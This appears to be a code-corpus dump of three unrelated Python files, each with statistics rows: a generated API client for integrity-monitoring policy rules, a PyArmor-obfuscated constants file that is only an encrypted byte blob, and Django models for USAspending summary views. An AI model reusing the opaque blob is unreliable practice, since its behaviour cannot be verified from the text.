returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.remove_integrity_monitoring_rule_id_from_policy_with_http_info(policy_id, integrity_monitoring_rule_id, api_version, **kwargs) # noqa: E501
else:
(data) = self.remove_integrity_monitoring_rule_id_from_policy_with_http_info(policy_id, integrity_monitoring_rule_id, api_version, **kwargs) # noqa: E501
return data
def remove_integrity_monitoring_rule_id_from_policy_with_http_info(self, policy_id, integrity_monitoring_rule_id, api_version, **kwargs): # noqa: E501
"""Remove an Integrity Monitoring Rule ID # noqa: E501
Unassign an integrity monitoring rule ID from a policy. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.remove_integrity_monitoring_rule_id_from_policy_with_http_info(policy_id, integrity_monitoring_rule_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param int integrity_monitoring_rule_id: The ID number of the integrity monitoring rule to delete. (required)
:param str api_version: The version of the api being called. (required)
:param bool overrides: Return only rule IDs assigned directly to the current policy.
:return: IntegrityMonitoringAssignments
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['policy_id', 'integrity_monitoring_rule_id', 'api_version', 'overrides'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method remove_integrity_monitoring_rule_id_from_policy" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'policy_id' is set
if ('policy_id' not in params or
params['policy_id'] is None):
raise ValueError("Missing the required parameter `policy_id` when calling `remove_integrity_monitoring_rule_id_from_policy`") # noqa: E501
# verify the required parameter 'integrity_monitoring_rule_id' is set
if ('integrity_monitoring_rule_id' not in params or
params['integrity_monitoring_rule_id'] is None):
raise ValueError("Missing the required parameter `integrity_monitoring_rule_id` when calling `remove_integrity_monitoring_rule_id_from_policy`") # noqa: E501
# verify the required parameter 'api_version' is set
if ('api_version' not in params or
params['api_version'] is None):
raise ValueError("Missing the required parameter `api_version` when calling `remove_integrity_monitoring_rule_id_from_policy`") # noqa: E501
if 'policy_id' in params and not re.search('\\d+', str(params['policy_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `policy_id` when calling `remove_integrity_monitoring_rule_id_from_policy`, must conform to the pattern `/\\d+/`") # noqa: E501
if 'integrity_monitoring_rule_id' in params and not re.search('\\d+', str(params['integrity_monitoring_rule_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `integrity_monitoring_rule_id` when calling `remove_integrity_monitoring_rule_id_from_policy`, must conform to the pattern `/\\d+/`") # noqa: E501
collection_formats = {}
path_params = {}
if 'policy_id' in params:
path_params['policyID'] = params['policy_id'] # noqa: E501
if 'integrity_monitoring_rule_id' in params:
path_params['integrityMonitoringRuleID'] = params['integrity_monitoring_rule_id'] # noqa: E501
query_params = []
if 'overrides' in params:
query_params.append(('overrides', params['overrides'])) # noqa: E501
header_params = {}
if 'api_version' in params:
header_params['api-version'] = params['api_version'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['DefaultAuthentication'] # noqa: E501
return self.api_client.call_api(
'/policies/{policyID}/integritymonitoring/assignments/{integrityMonitoringRuleID}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='IntegrityMonitoringAssignments', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def set_integrity_monitoring_rule_ids_on_policy(self, policy_id, api_version, **kwargs): # noqa: E501
"""Set Integrity Monitoring Rule IDs # noqa: E501
Set integrity monitoring rule IDs assigned to a policy. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.set_integrity_monitoring_rule_ids_on_policy(policy_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param str api_version: The version of the api being called. (required)
:param RuleIDs integrity_monitoring_rule_ids: The ID numbers of the integrity monitoring rules to set.
:param bool overrides: Return only rule IDs assigned directly to the current policy.
:return: IntegrityMonitoringAssignments
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.set_integrity_monitoring_rule_ids_on_policy_with_http_info(policy_id, api_version, **kwargs) # noqa: E501
else:
(data) = self.set_integrity_monitoring_rule_ids_on_policy_with_http_info(policy_id, api_version, **kwargs) # noqa: E501
return data
def set_integrity_monitoring_rule_ids_on_policy_with_http_info(self, policy_id, api_version, **kwargs): # noqa: E501
"""Set Integrity Monitoring Rule IDs # noqa: E501
Set integrity monitoring rule IDs assigned to a policy. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.set_integrity_monitoring_rule_ids_on_policy_with_http_info(policy_id, api_version, async_req=True)
>>> result = thread.get()
:param async_req bool
:param int policy_id: The ID number of the policy. (required)
:param str api_version: The version of the api being called. (required)
:param RuleIDs integrity_monitoring_rule_ids: The ID numbers of the integrity monitoring rules to set.
:param bool overrides: Return only rule IDs assigned directly to the current policy.
:return: IntegrityMonitoringAssignments
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['policy_id', 'api_version', 'integrity_monitoring_rule_ids', 'overrides'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method set_integrity_monitoring_rule_ids_on_policy" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'policy_id' is set
if ('policy_id' not in params or
params['policy_id'] is None):
raise ValueError("Missing the required parameter `policy_id` when calling `set_integrity_monitoring_rule_ids_on_policy`") # noqa: E501
# verify the required parameter 'api_version' is set
if ('api_version' not in params or
params['api_version'] is None):
raise ValueError("Missing the required parameter `api_version` when calling `set_integrity_monitoring_rule_ids_on_policy`") # noqa: E501
if 'policy_id' in params and not re.search('\\d+', str(params['policy_id'])): # noqa: E501
raise ValueError("Invalid value for parameter `policy_id` when calling `set_integrity_monitoring_rule_ids_on_policy`, must conform to the pattern `/\\d+/`") # noqa: E501
collection_formats = {}
path_params = {}
if 'policy_id' in params:
path_params['policyID'] = params['policy_id'] # noqa: E501
query_params = []
if 'overrides' in params:
query_params.append(('overrides', params['overrides'])) # noqa: E501
header_params = {}
if 'api_version' in params:
header_params['api-version'] = params['api_version'] # noqa: E501
form_params = []
local_var_files = {}
body_params = None
if 'integrity_monitoring_rule_ids' in params:
body_params = params['integrity_monitoring_rule_ids']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['DefaultAuthentication'] # noqa: E501
return self.api_client.call_api(
'/policies/{policyID}/integritymonitoring/assignments', 'PUT',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='IntegrityMonitoringAssignments', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 51.247525 | 311 | 0.650966 | 3,086 | 25,880 | 5.182437 | 0.067401 | 0.109298 | 0.126555 | 0.084537 | 0.952417 | 0.948665 | 0.947352 | 0.933221 | 0.926655 | 0.916151 | 0 | 0.01515 | 0.268006 | 25,880 | 504 | 312 | 51.349206 | 0.829075 | 0.342736 | 0 | 0.786765 | 0 | 0 | 0.289823 | 0.12917 | 0 | 0 | 0 | 0 | 0 | 1 | 0.033088 | false | 0 | 0.014706 | 0 | 0.095588 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
1c06a98490cee0eb3cd0cb851a8cf721d4cc8b8e | 1,731 | py | Python | legacy/functional_code/backprojection/constants.py | jjimmykang/bwsi-backprojection | 440e21f90e2a1d0d1c28bfd9a0faaf97129378a5 | [
"MIT"
] | 1 | 2020-02-09T19:09:27.000Z | 2020-02-09T19:09:27.000Z | legacy/functional_code/backprojection/constants.py | jjimmykang/bwsi-backprojection | 440e21f90e2a1d0d1c28bfd9a0faaf97129378a5 | [
"MIT"
] | null | null | null | legacy/functional_code/backprojection/constants.py | jjimmykang/bwsi-backprojection | 440e21f90e2a1d0d1c28bfd9a0faaf97129378a5 | [
"MIT"
] | null | null | null | __pyarmor__(__name__, __file__, b'\xeb\x50\x8c\x64\x26\x42\xd6\x01\x6f\x0f\x27\xa2\x64\x8d\x1e\xb5\x54\xd9\x61\x57\x2f\x56\x03\x35\x46\xfc\x25\x13\x9b\xa4\xd5\x79\x12\xdf\x07\xc8\x90\xe3\x6a\x8e\x9c\xc3\x2c\xef\xeb\x51\x2c\xd9\x53\x06\xf5\x41\x2c\xbb\x3d\xdb\xb5\xf7\xa6\xb1\x21\x95\x63\x51\x50\x56\x7c\x01\xc3\xb6\x7a\x0d\xab\xef\x9f\xb0\x9f\x66\x08\x13\xb6\x9d\xe2\x54\x87\x5f\x86\x89\xf1\xb0\x9c\x81\x30\x32\xa1\x09\x50\xad\xb8\xfd\xaf\x78\x9b\xed\xd5\xcc\x2b\xf2\x23\xf3\x7c\x24\xea\x3a\xf2\x44\x3b\x27\xe9\xa1\x50\x0a\x75\x34\x63\xee\xaa\x6a\xef\xdb\xed\x33\x37\xdc\x52\x24\x65\x52\x5b\x61\x8f\x32\x6d\xe7\x28\x2c\xb3\xc1\x0a\x5b\x8c\xdd\x66\xb6\x6f\x19\xdb\xb1\xc3\x28\x32\xdf\x65\xc2\x1f\xbb\x6f\x81\x6b\x8d\x13\x5e\x59\xb1\xe6\xd1\xb5\xbb\xba\xb0\x2b\x14\x1a\x7d\xea\xe8\x17\xd6\x28\x91\x68\xf5\x79\x9c\xfc\xd8\x31\xae\xab\x4e\xd8\xff\x38\x7e\xe0\x8c\x04\x3e\x3c\x0f\x1b\xc7\x11\x17\x6b\xc3\xe6\xf9\x16\x2d\x26\x54\x09\xfe\xc5\x6b\x26\x7c\x30\x1a\xdd\xfd\x97\xe6\x86\xa9\xfc\x84\x67\x75\xc0\x7e\x4c\xf1\xf9\xdb\x25\xa5\x7b\xe5\xf0\x9f\xfd\xc1\x5d\xb8\xc1\x43\xd4\x96\x8a\xa4\x0d\x4e\x1d\x5a\xa4\x6f\x7e\xed\x15\x9e\x0d\x9d\xb3\x72\xa7\xd3\x6e\xb0\x56\x26\x56\xb9\x97\xa3\xf1\x1c\xfe\x03\x2a\xdc\xe5\x4e\xf4\x43\x2f\x8d\x97\x83\x38\xeb\x2e\x7e\x3d\x6d\x57\x3d\x7e\xb3\xb8\x66\x51\x07\x69\x2a\x4d\x15\x05\x66\xb4\xf8\xaa\x3a\x8f\xd0\xa5\xc2\x0a\x2c\x71\x73\x71\x68\xe1\xfe\x84\x0e\xe7\x40\xc7\xb9\xbf\x4e\xfa\xc8\x1f\xa3\x46\x3b\x8a\x42\xf5\xae\x9a\x53\xcf\xbb\x32\x06\x75\x79\x38\x45\xad\x30\x1b\xc6\x94\x7e\x8a\xe4\x1c\xc7\x33\x6f\x0b\x65\x4f\x95\xba\x36\x75\x8f\x58\xe0\x55\xce\xa3\x8c\x69\x0c\x45\x1d\x2b\x0d\x8c\xfc\x0b\x86\x10\xc7\x43\x73\xe3\xc9\xd6\x62\x15\xe0\x02\xb7\x53\x86\x54\x27\x2d\x30\xb8\x08\xb9\xfc\x83', 1) | 1,731 | 1,731 | 0.749856 | 428 | 1,731 | 3.004673 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.302662 | 0.001733 | 1,731 | 1 | 1,731 | 1,731 | 0.441551 | 0 | 0 | 0 | 0 | 1 | 0.976905 | 0.976905 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 10 |
1c9c723b80873c17a91f78e5376f4c8502626f4a | 39,968 | py | Python | usaspending_api/awards/models_matviews.py | mikepsinn/usaspending-api | ef61e13c286eb51949e16b760fa7516255b2bfd3 | [
"CC0-1.0"
] | null | null | null | usaspending_api/awards/models_matviews.py | mikepsinn/usaspending-api | ef61e13c286eb51949e16b760fa7516255b2bfd3 | [
"CC0-1.0"
] | 1 | 2021-11-15T17:54:12.000Z | 2021-11-15T17:54:12.000Z | usaspending_api/awards/models_matviews.py | mikepsinn/usaspending-api | ef61e13c286eb51949e16b760fa7516255b2bfd3 | [
"CC0-1.0"
] | null | null | null | import warnings
from django.contrib.postgres.fields import ArrayField
from django.contrib.postgres.search import SearchVectorField
from django.core.cache import CacheKeyWarning
from django.db import models
from usaspending_api.awards.models import Award, Subaward, TransactionNormalized
warnings.simplefilter("ignore", CacheKeyWarning)
class UniversalTransactionView(models.Model):
keyword_ts_vector = SearchVectorField()
award_ts_vector = SearchVectorField()
recipient_name_ts_vector = SearchVectorField()
transaction = models.OneToOneField(TransactionNormalized, primary_key=True)
action_date = models.DateField(blank=True, null=False)
last_modified_date = models.DateField(blank=True, null=False)
fiscal_year = models.IntegerField()
type = models.TextField(blank=True, null=True)
action_type = models.TextField()
award_id = models.IntegerField()
award_category = models.TextField()
generated_pragmatic_obligation = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
total_obligation = models.DecimalField(
max_digits=15, decimal_places=2, blank=True, null=True)
total_subsidy_cost = models.DecimalField(max_digits=20, decimal_places=2, null=True, blank=True)
total_loan_value = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
total_obl_bin = models.TextField()
fain = models.TextField()
uri = models.TextField()
piid = models.TextField()
federal_action_obligation = models.DecimalField(
max_digits=20, decimal_places=2, blank=True, null=True)
original_loan_subsidy_cost = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
face_value_loan_guarantee = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
transaction_description = models.TextField()
modification_number = models.TextField()
pop_country_code = models.TextField()
pop_country_name = models.TextField()
pop_state_code = models.TextField()
pop_county_code = models.TextField()
pop_county_name = models.TextField()
pop_zip5 = models.TextField()
pop_congressional_code = models.TextField()
recipient_location_country_code = models.TextField()
recipient_location_country_name = models.TextField()
recipient_location_state_code = models.TextField()
recipient_location_county_code = models.TextField()
recipient_location_county_name = models.TextField()
recipient_location_zip5 = models.TextField()
recipient_location_congressional_code = models.TextField()
naics_code = models.TextField()
naics_description = models.TextField()
product_or_service_code = models.TextField()
product_or_service_description = models.TextField()
pulled_from = models.TextField()
type_of_contract_pricing = models.TextField()
type_set_aside = models.TextField()
extent_competed = models.TextField()
cfda_number = models.TextField()
cfda_title = models.TextField()
recipient_id = models.IntegerField()
recipient_hash = models.UUIDField()
recipient_name = models.TextField()
recipient_unique_id = models.TextField()
parent_recipient_unique_id = models.TextField()
business_categories = ArrayField(models.TextField(), default=list)
awarding_agency_id = models.IntegerField()
funding_agency_id = models.IntegerField()
awarding_toptier_agency_name = models.TextField()
funding_toptier_agency_name = models.TextField()
awarding_subtier_agency_name = models.TextField()
funding_subtier_agency_name = models.TextField()
awarding_toptier_agency_abbreviation = models.TextField()
funding_toptier_agency_abbreviation = models.TextField()
awarding_subtier_agency_abbreviation = models.TextField()
funding_subtier_agency_abbreviation = models.TextField()
class Meta:
managed = False
db_table = 'universal_transaction_matview'
class SummaryTransactionView(models.Model):
duh = models.UUIDField(primary_key=True, help_text="Deterministic Unique Hash")
action_date = models.DateField(blank=True, null=False)
fiscal_year = models.IntegerField()
type = models.TextField(blank=True, null=True)
pulled_from = models.TextField()
total_obl_bin = models.TextField()
generated_pragmatic_obligation = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
federal_action_obligation = models.DecimalField(
max_digits=20, db_index=True, decimal_places=2, blank=True,
null=True)
original_loan_subsidy_cost = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
face_value_loan_guarantee = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
recipient_location_country_code = models.TextField()
recipient_location_country_name = models.TextField()
recipient_location_state_code = models.TextField()
recipient_location_county_code = models.TextField()
recipient_location_county_name = models.TextField()
recipient_location_congressional_code = models.TextField()
recipient_location_zip5 = models.TextField()
pop_country_code = models.TextField()
pop_country_name = models.TextField()
pop_zip5 = models.TextField()
pop_county_code = models.TextField()
pop_county_name = models.TextField()
pop_state_code = models.TextField()
pop_congressional_code = models.TextField()
awarding_agency_id = models.IntegerField()
funding_agency_id = models.IntegerField()
awarding_toptier_agency_name = models.TextField()
funding_toptier_agency_name = models.TextField()
awarding_subtier_agency_name = models.TextField()
funding_subtier_agency_name = models.TextField()
awarding_toptier_agency_abbreviation = models.TextField()
funding_toptier_agency_abbreviation = models.TextField()
awarding_subtier_agency_abbreviation = models.TextField()
funding_subtier_agency_abbreviation = models.TextField()
recipient_hash = models.UUIDField()
recipient_name = models.TextField()
recipient_unique_id = models.TextField()
parent_recipient_unique_id = models.TextField()
business_categories = ArrayField(models.TextField(), default=list)
cfda_number = models.TextField()
cfda_title = models.TextField()
product_or_service_code = models.TextField()
product_or_service_description = models.TextField()
naics_code = models.TextField()
naics_description = models.TextField()
type_of_contract_pricing = models.TextField()
type_set_aside = models.TextField()
extent_competed = models.TextField()
counts = models.IntegerField()
class Meta:
managed = False
db_table = 'summary_transaction_view'
class UniversalAwardView(models.Model):
keyword_ts_vector = SearchVectorField()
award_ts_vector = SearchVectorField()
recipient_name_ts_vector = SearchVectorField()
award = models.OneToOneField(Award, primary_key=True)
category = models.TextField()
type = models.TextField()
type_description = models.TextField()
piid = models.TextField()
fain = models.TextField()
uri = models.TextField()
total_obligation = models.DecimalField(
max_digits=15, decimal_places=2, blank=True,
null=True)
description = models.TextField()
total_subsidy_cost = models.DecimalField(max_digits=20, decimal_places=2, null=True, blank=True)
total_loan_value = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
total_obl_bin = models.TextField()
recipient_hash = models.UUIDField()
recipient_id = models.IntegerField()
recipient_name = models.TextField()
recipient_unique_id = models.TextField()
parent_recipient_unique_id = models.TextField()
business_categories = ArrayField(models.TextField(), default=list)
action_date = models.DateField()
fiscal_year = models.IntegerField()
last_modified_date = models.TextField()
period_of_performance_start_date = models.DateField()
period_of_performance_current_end_date = models.DateField()
date_signed = models.DateField()
original_loan_subsidy_cost = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
face_value_loan_guarantee = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
awarding_agency_id = models.IntegerField()
funding_agency_id = models.IntegerField()
awarding_toptier_agency_name = models.TextField()
funding_toptier_agency_name = models.TextField()
awarding_subtier_agency_name = models.TextField()
funding_subtier_agency_name = models.TextField()
awarding_toptier_agency_code = models.TextField()
funding_toptier_agency_code = models.TextField()
awarding_subtier_agency_code = models.TextField()
funding_subtier_agency_code = models.TextField()
recipient_location_country_code = models.TextField()
recipient_location_country_name = models.TextField()
recipient_location_state_code = models.TextField()
recipient_location_county_code = models.TextField()
recipient_location_county_name = models.TextField()
recipient_location_zip5 = models.TextField()
recipient_location_congressional_code = models.TextField()
pop_country_code = models.TextField()
pop_country_name = models.TextField()
pop_state_code = models.TextField()
pop_county_code = models.TextField()
pop_county_name = models.TextField()
pop_city_code = models.TextField()
pop_zip5 = models.TextField()
pop_congressional_code = models.TextField()
cfda_number = models.TextField()
sai_number = models.TextField()
pulled_from = models.TextField()
type_of_contract_pricing = models.TextField()
extent_competed = models.TextField()
type_set_aside = models.TextField()
product_or_service_code = models.TextField()
product_or_service_description = models.TextField()
naics_code = models.TextField()
naics_description = models.TextField()
class Meta:
managed = False
db_table = 'universal_award_matview'
class SummaryAwardView(models.Model):
duh = models.UUIDField(primary_key=True, help_text="Deterministic Unique Hash")
action_date = models.DateField(blank=True, null=True)
fiscal_year = models.IntegerField()
type = models.TextField(blank=True, null=True)
pulled_from = models.TextField()
category = models.TextField(blank=True, null=True)
awarding_agency_id = models.IntegerField()
funding_agency_id = models.IntegerField()
awarding_toptier_agency_name = models.TextField()
funding_toptier_agency_name = models.TextField()
awarding_subtier_agency_name = models.TextField()
funding_subtier_agency_name = models.TextField()
awarding_toptier_agency_abbreviation = models.TextField()
funding_toptier_agency_abbreviation = models.TextField()
awarding_subtier_agency_abbreviation = models.TextField()
funding_subtier_agency_abbreviation = models.TextField()
federal_action_obligation = models.DecimalField(max_digits=20, decimal_places=2,
blank=True, null=True)
original_loan_subsidy_cost = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
face_value_loan_guarantee = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
counts = models.IntegerField()
class Meta:
managed = False
db_table = 'summary_award_view'
class SummaryView(models.Model):
duh = models.UUIDField(primary_key=True, help_text="Deterministic Unique Hash")
action_date = models.DateField(blank=True, null=True)
fiscal_year = models.IntegerField()
type = models.TextField(blank=True, null=True)
pulled_from = models.TextField()
awarding_agency_id = models.IntegerField()
funding_agency_id = models.IntegerField()
awarding_toptier_agency_name = models.TextField()
funding_toptier_agency_name = models.TextField()
awarding_subtier_agency_name = models.TextField()
funding_subtier_agency_name = models.TextField()
awarding_toptier_agency_abbreviation = models.TextField()
funding_toptier_agency_abbreviation = models.TextField()
awarding_subtier_agency_abbreviation = models.TextField()
funding_subtier_agency_abbreviation = models.TextField()
generated_pragmatic_obligation = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
federal_action_obligation = models.DecimalField(max_digits=20, decimal_places=2, blank=True, null=True)
original_loan_subsidy_cost = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
face_value_loan_guarantee = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
counts = models.IntegerField()
class Meta:
managed = False
db_table = 'summary_view'
class SummaryNaicsCodesView(models.Model):
duh = models.UUIDField(primary_key=True, help_text="Deterministic Unique Hash")
action_date = models.DateField(blank=True, null=True)
fiscal_year = models.IntegerField()
type = models.TextField(blank=True, null=True)
pulled_from = models.TextField()
naics_code = models.TextField(blank=True, null=True)
naics_description = models.TextField(blank=True, null=True)
generated_pragmatic_obligation = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
federal_action_obligation = models.DecimalField(max_digits=20, decimal_places=2, blank=True, null=True)
original_loan_subsidy_cost = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
face_value_loan_guarantee = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
counts = models.IntegerField()
class Meta:
managed = False
db_table = 'summary_view_naics_codes'
class SummaryPscCodesView(models.Model):
duh = models.UUIDField(primary_key=True, help_text="Deterministic Unique Hash")
action_date = models.DateField(blank=True, null=True)
fiscal_year = models.IntegerField()
type = models.TextField(blank=True, null=True)
pulled_from = models.TextField()
product_or_service_code = models.TextField(blank=True, null=True)
generated_pragmatic_obligation = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
federal_action_obligation = models.DecimalField(max_digits=20, decimal_places=2, blank=True, null=True)
original_loan_subsidy_cost = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
face_value_loan_guarantee = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
counts = models.IntegerField()
class Meta:
managed = False
db_table = 'summary_view_psc_codes'
class SummaryCfdaNumbersView(models.Model):
duh = models.UUIDField(primary_key=True, help_text="Deterministic Unique Hash")
action_date = models.DateField(blank=True, null=True)
fiscal_year = models.IntegerField()
type = models.TextField(blank=True, null=True)
pulled_from = models.TextField()
cfda_number = models.TextField(blank=True, null=True)
cfda_title = models.TextField(blank=True, null=True)
generated_pragmatic_obligation = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
federal_action_obligation = models.DecimalField(max_digits=20, decimal_places=2, blank=True, null=True)
original_loan_subsidy_cost = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
face_value_loan_guarantee = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
counts = models.IntegerField()
class Meta:
managed = False
db_table = 'summary_view_cfda_number'
class SummaryTransactionMonthView(models.Model):
duh = models.UUIDField(primary_key=True, help_text="Deterministic Unique Hash")
action_date = models.DateField()
fiscal_year = models.IntegerField()
type = models.TextField()
pulled_from = models.TextField()
recipient_location_country_name = models.TextField()
recipient_location_country_code = models.TextField()
recipient_location_state_code = models.TextField()
recipient_location_county_name = models.TextField()
recipient_location_county_code = models.TextField()
recipient_location_zip5 = models.TextField()
recipient_location_congressional_code = models.TextField()
recipient_location_foreign_province = models.TextField()
pop_country_name = models.TextField()
pop_country_code = models.TextField()
pop_state_code = models.TextField()
pop_county_name = models.TextField()
pop_county_code = models.TextField()
pop_zip5 = models.TextField()
pop_congressional_code = models.TextField()
awarding_agency_id = models.IntegerField()
funding_agency_id = models.IntegerField()
awarding_toptier_agency_name = models.TextField()
funding_toptier_agency_name = models.TextField()
awarding_subtier_agency_name = models.TextField()
funding_subtier_agency_name = models.TextField()
awarding_toptier_agency_abbreviation = models.TextField()
funding_toptier_agency_abbreviation = models.TextField()
awarding_subtier_agency_abbreviation = models.TextField()
funding_subtier_agency_abbreviation = models.TextField()
recipient_hash = models.UUIDField()
recipient_name = models.TextField()
recipient_unique_id = models.TextField()
parent_recipient_unique_id = models.TextField()
business_categories = ArrayField(models.TextField(), default=list)
cfda_number = models.TextField(blank=True, null=True)
cfda_title = models.TextField(blank=True, null=True)
product_or_service_code = models.TextField()
product_or_service_description = models.TextField()
naics_code = models.TextField(blank=True, null=True)
naics_description = models.TextField(blank=True, null=True)
total_obl_bin = models.TextField()
type_of_contract_pricing = models.TextField()
type_set_aside = models.TextField()
extent_competed = models.TextField()
generated_pragmatic_obligation = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
federal_action_obligation = models.DecimalField(max_digits=20, decimal_places=2, blank=True, null=True)
original_loan_subsidy_cost = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
face_value_loan_guarantee = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
counts = models.IntegerField()
class Meta:
managed = False
db_table = 'summary_transaction_month_view'
class SummaryTransactionGeoView(models.Model):
duh = models.UUIDField(primary_key=True, help_text="Deterministic Unique Hash")
action_date = models.DateField()
fiscal_year = models.IntegerField()
type = models.TextField()
pulled_from = models.TextField()
recipient_location_country_name = models.TextField()
recipient_location_country_code = models.TextField()
recipient_location_state_code = models.TextField()
recipient_location_county_name = models.TextField()
recipient_location_county_code = models.TextField()
recipient_location_zip5 = models.TextField()
recipient_location_congressional_code = models.TextField()
recipient_location_foreign_province = models.TextField()
pop_country_name = models.TextField()
pop_country_code = models.TextField()
pop_state_code = models.TextField()
pop_county_name = models.TextField()
pop_county_code = models.TextField()
pop_zip5 = models.TextField()
pop_congressional_code = models.TextField()
awarding_agency_id = models.IntegerField()
funding_agency_id = models.IntegerField()
awarding_toptier_agency_name = models.TextField()
funding_toptier_agency_name = models.TextField()
awarding_subtier_agency_name = models.TextField()
funding_subtier_agency_name = models.TextField()
awarding_toptier_agency_abbreviation = models.TextField()
funding_toptier_agency_abbreviation = models.TextField()
awarding_subtier_agency_abbreviation = models.TextField()
funding_subtier_agency_abbreviation = models.TextField()
generated_pragmatic_obligation = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
federal_action_obligation = models.DecimalField(max_digits=20, decimal_places=2, blank=True, null=True)
original_loan_subsidy_cost = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
face_value_loan_guarantee = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
counts = models.IntegerField()
class Meta:
managed = False
db_table = 'summary_transaction_geo_view'
class SummaryStateView(models.Model):
duh = models.UUIDField(primary_key=True, help_text="Deterministic Unique Hash")
action_date = models.DateField()
fiscal_year = models.IntegerField()
type = models.TextField()
pulled_from = models.TextField()
distinct_awards = ArrayField(models.TextField(), default=list)
pop_country_code = models.TextField()
pop_state_code = models.TextField()
generated_pragmatic_obligation = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
federal_action_obligation = models.DecimalField(max_digits=20, decimal_places=2, blank=True, null=True)
original_loan_subsidy_cost = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
face_value_loan_guarantee = models.DecimalField(max_digits=23, decimal_places=2, null=True, blank=True)
counts = models.IntegerField()
class Meta:
managed = False
db_table = 'summary_state_view'
class AwardMatview(models.Model):
generated_unique_award_id = models.TextField(primary_key=True, db_column='generated_unique_award_id')
latest_transaction = models.ForeignKey(to='awards.TransactionMatview',
to_field='generated_unique_transaction_id',
